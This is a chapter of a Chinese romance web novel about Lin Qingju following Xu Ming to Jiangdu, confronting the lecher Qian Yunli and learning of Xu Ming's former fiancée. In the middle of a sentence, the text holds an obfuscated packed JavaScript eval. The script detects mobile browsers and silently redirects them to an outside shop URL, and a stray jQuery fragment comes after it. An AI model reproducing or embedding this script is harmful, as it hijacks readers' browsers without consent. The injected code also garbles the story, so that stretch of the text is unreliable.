文趣网 > 其他小说 > 天上掉下个林妹妹 > 38. 卧虎藏龙(上)
    江都县地狭人稠,除富商员外住的四方街和远离闹市的无名马场,剩下的便是平民百姓聚集之处。

    房屋墙挨墙挤在一块,淡青色的瓦在日光下微微闪着光。

    四通八达的小巷里,常有妇人坐在家门口择菜闲聊,大夏天的,扎着冲天辫的小孩儿仅穿一件大红肚兜和伙伴玩耍,怡然自得。

    徐茗小心避开他们,遇到认识的邻里就稍稍点头致意,等快到家门口时,见一带帷帽的姑娘拎着食盒等在那,他又悄无声息离开,回了无名马场。

    “月大哥,我恐怕又要在你这呆一晚了。”

    徐茗对着马场老板歉意地笑笑,接过他手里的刷子,帮他给马洗澡:“您去歇着吧,我等会洗完会把马厩扫了。”

    无名马场规模并不大,总共就男女主人外加女主人的妹妹三人而已,都是外地人。

    徐茗回江都时恰好女主人的妹妹回老家省亲,男主人便招他当一个月的临时工,包吃不包住,正合徐茗心意。

    月秋望没有推脱,爽快地喊一声“行”,便去陪他那深居简出的娘子了。

    徐茗一直干到月明星稀,出了满身的汗,衣服手上又粘了不少马粪,臭得很。

    他正要打凉水痛痛快快洗个澡,刚在水井旁打了水脱了一半褂子,一抬头,就和骑在墙头上的两人对上了视线。

    和两个姑娘对上了视线。

    ?

    徐茗揉了揉眼。

    ???

    “徐茗,快把衣服穿上!”

    林卿雎闭着眼,紧紧搂着身下人的脖子落在地上,她尖叫:“光天化日,你穿成这样成何体统!”

    光天化日……真的是白天啊,若不然怎会看见林卿雎,他肯定是干活干太久了在做梦。

    “林姐姐,夕阳西下,已是夜里啦。”那背着林卿雎的小姑娘笑嘻嘻说。

    小小年纪还未长开,却已瞧得出浓颜迤逦,还是副反差极大的烟哑嗓子。

    徐茗瞧瞧她,再瞧瞧林卿雎。

    再瞧瞧她,又瞧瞧林卿雎。

    “……小姐?”

    “是我……你穿好衣服没!就算是晚上也给我穿戴整齐!”

    徐茗:“!!!!!!你怎么来了!!!”

    “来找你啊!”

    裴元芝在林卿雎心里已经没有任何信任可言,见钱允礼忽然告辞,她怕裴元芝授意他来江都欺负徐茗。

    说到底裴元芝针对徐茗是因她而起,若视而不见,她可受不了良心谴责——况且正好来和徐茗掰扯清楚乡试那日他是何等无礼与过分!

    府中册子只记录徐茗住在芙蓉巷,因此坐一天马车好容易到了江都,林卿雎又停在巷口等连书连墨到芙蓉巷里寻人,寻了半天得知他在无名马场干活,她就领着一大帮子人过来了。

    徐茗难以置信:“你和裴少爷一刀两断了?因为我?”

    一整天没好好用膳,林卿雎慢条斯理地喝了一碗,又擦了擦嘴,才说:“少往自己脸上贴金,我只是通过你看清了裴元芝的真面目。我来的还是晚了点吗?钱允礼来骚扰你了?不若你怎么躲在马场里,还跟月老板说如果有人来找你,就说这没有叫徐茗的人?我差点都没进来!”

    “幸好碰上我,不然林姐姐还要和姨父周旋好一会呢。”

    “你还说,说了多少次别翻墙!”月秋望作势拿筷子敲外甥的头,云钟杳捧着碗熟练躲开,留下句“姨夫,我爹娘后天来,你记得留出房间来!”,就跑去找姨母去了。

    等马场老板亦留下句“你们慢慢吃”后离开,徐茗吐出口浊气,含糊说:“小姐想多了,我和钱允礼并没有什么冲突……小姐你明日就回去吧。”

    “那你在躲谁?”林卿雎不依不饶:“我才刚来怎么可能就走?再说我为什么要听你的?”

    应该说徐茗急着赶她走她就偏不走。

    徐茗微微偏过头,躲开林卿雎的视线,低声说:“因一双鞋误会了小姐是我的错,我——”

    “你的错你的错你的错,你除了嘴皮子上下一碰说‘我的错’还会干什么?哦,还有张说要做官庇护我的空头凭证——你躲在个小县城里在梦里当官?”

    林卿雎一张嘴“嘚嘚嘚”说个不停,大有说到天荒地老的架势,她嫌弃地扫一眼徐茗穿着的对襟短褐:“还以为你不当账房先生后过的什么好日子,这么瘦弱的身板学大郎他们干体力活,简直不伦不类!给你三天时间考虑要不要和我一起回去继续当账房先生罢!”

    说完,她毫不拖泥带水离开,不给徐茗一点开口的机会。

    ……

    头一回出远门,林卿雎带了三个丫鬟四个侍卫一个马夫,连在落脚的客栈都用的自带的被褥与碗筷。

    第二日没等到悔过的徐茗,她先等来背她偷入马场的云钟杳,十三四岁的小姑娘活泼好动,又自来熟,说她要去给娘亲买簪子,问林卿雎能不能陪她一起。

    反正没什么事,云钟杳又嘴甜好看,林卿雎爽快地应了,她带上梨花和云钟杳去了江都最大的一家首饰铺子,还真是冤家路窄,一进去就见钱允礼对一个姑娘拉拉扯扯。

    看打扮那姑娘是店里的帮工,长得弱柳扶风,一派楚楚可怜的模样就知钱允礼又精虫入脑。

    安抚着躲去身后不敢露出脸来的梨花,林卿雎咬牙切齿,火气更在钱允礼转过头来看到云钟杳后眼前一亮时达到顶峰。

    她啐一口:“见一个人就发情,你找死啊!”

    云钟杳转了转眼珠子,随即亦躲在了林卿雎身后,雾蒙蒙的眼瞬间包了两团泪,怕得瑟瑟发抖。

    “难怪裴兄不要你,如此粗俗!”钱允礼视线黏在云钟杳身上,眼珠子都要掉了,语气恶心得令人作呕:“小妹妹,你——”

    林卿雎抓起丁零当啷的首饰一股脑就往他身上扔:“老板在哪?这家店我包了,快找人把这登徒子赶出去!”

    见终于有人来治治钱允礼,女老板终于露面,她二话不说吩咐两个伙计赶人,钱允礼吱哇大叫:“我走可以,但要带走我的小妾!”

    闻言,那刚被骚扰的姑娘抖得更厉害,林卿雎“嘿”一声,揍他揍得更凶:“朗朗乾坤你还敢逼良为妾?眼里真没有王法了?!”

    “谁逼良为妾!你别乱说!四季本就是我的第五房小妾!不信你问她!”

    钱允礼抱头狼狈逃窜,说出来的话依旧这么不受人待见,林卿雎震惊地看向面色苍白的四季,但没停顿一秒就接着骂:“是你的小妾她如何跑到这来当帮工?要么是你说谎要么是她早拿了放妾书!总之她和你已经没有任何关系,你快滚吧你!”

    明显被林卿雎说中,钱允礼支支吾吾说不出一句话,等衣袍头发被扯得七零八落,狼狈地赶出店铺,他破防大喊:“你还好意思和裴兄说你和徐茗没关系!不仅为他抛弃裴兄,追来江都,连他的前未婚妻都要帮!”

    什、什么?!!!

    林卿雎脑袋一阵眩晕,一口气

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625587|206038||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    差点没上来。

    四季抖得更厉害,嘴唇剧烈颤抖着,躲着林卿雎的视线,却硬说不出一个字来。

    徐茗曾说《呼啸金庄》有一半事实。

    这一半,说的是他和四季青梅竹马,两情相悦???

    ……

    已经误会过徐茗不举,这次林卿雎不敢妄下定论了,她甚至怀疑徐茗一直在躲的人就是四季——不是钱允礼就行。

    和裴元芝无关,也就和她无关,他就算被四季缠上也怪不到她头上。

    心中一块大石头落地,林卿雎与云钟杳在江都痛痛快快游玩起来。

    江都风光旖旎,又有云钟杳这样一个妙人日日带她走街串巷品鉴美食,林卿雎心宽体胖,连今年置办的新衣裳都变得有些紧了。

    明明云妹妹一点没胖!

    林卿雎颇为艳羡,痛定思痛,决心管住嘴迈开腿,恰已到了徐茗决定究竟回不回扬州的三日之期,她便与云钟杳回无名马场跑马。

    徐茗正在马厩喂马吃草料,看一眼林卿雎,他走去另一旁,牵了匹通身雪白的小马驹出来:“寻梅温顺,我陪小姐到马场走几圈?”

    “云妹妹呢?”林卿雎看向云钟杳,后者挠挠头,“嘿嘿”几声:“林姐姐不必管我,我马术尚可。”

    可不是尚可。

    林卿雎眼睁睁看她飞身而上一匹比她高出一颗脑袋的烈马,风驰电掣奔出去,一溜烟就没影了。

    而她却要徐茗拿来梯子才勉强上了马背,还得由他牵着缰绳拉着寻梅慢慢走。

    “小姐什么时候回去?”

    他这是不回扬州的意思?

    林卿雎背挺直了,仰着下巴远眺,落在了远处的一对夫妻身上。

    她们各骑着匹马并行,男人怀里还有个三四岁大的小娃娃,尽管隔这么远看不清神情,也知她们言笑晏晏,隐隐约约的笑声传到很远。

    林卿雎不答什么时候回扬州,只问:“她们是谁?”

    “是云姑娘的父母和她妹妹,昨天来的。”

    “哦……”

    等离得近了,互相打了招呼,一抹历经千帆的从容淡然从这对容颜不俗的夫妻身上散发出来,林卿雎正思忖,徐茗已笑着开口:“小姐觉得她们身份不简单?等你见了月大哥的娘子,便更会惊叹这马场卧虎藏龙了。”

    “这是你不肯回扬州的原因?妄图寻到些造化?”

    林卿雎撇了撇嘴:“既如此,我就不挡你青云路了。”

    “小姐怎会以为我是这样一个聪明的人?比起机缘,还是科举让我更踏实一点。”

    徐茗失笑,微微偏过头,林卿雎低头就能看见他俊秀的侧脸:“放榜那日,我会回去的。我不会因考前那点变故发挥失常,小姐请放心回去。”

    “就算你发挥失常也不是因为我!别又想谴责我!”

    林卿雎夹紧马背,不满于如今的龟速,“嘚嘚嘚”往前跑:“阴阳怪气窝窝囊囊的,难怪被前未婚妻纠缠!”

    她可不止一次看到,四季一日三餐都守在徐茗家门口,就等着和他再续前缘呢。

    这厮却一次也不敢回去,藕断丝连得很。

    “不是窝囊,是在忍,因为她是个姑娘、因为她是个姑娘,所以只能忍,却忍不住……”

    徐茗跟着慢跑起来,清风拂面,唇抿成直直的一条线。

    林卿雎打断他:“忍不住什么!”

    徐茗忽地怨气冲天:“忍不住想揍她。”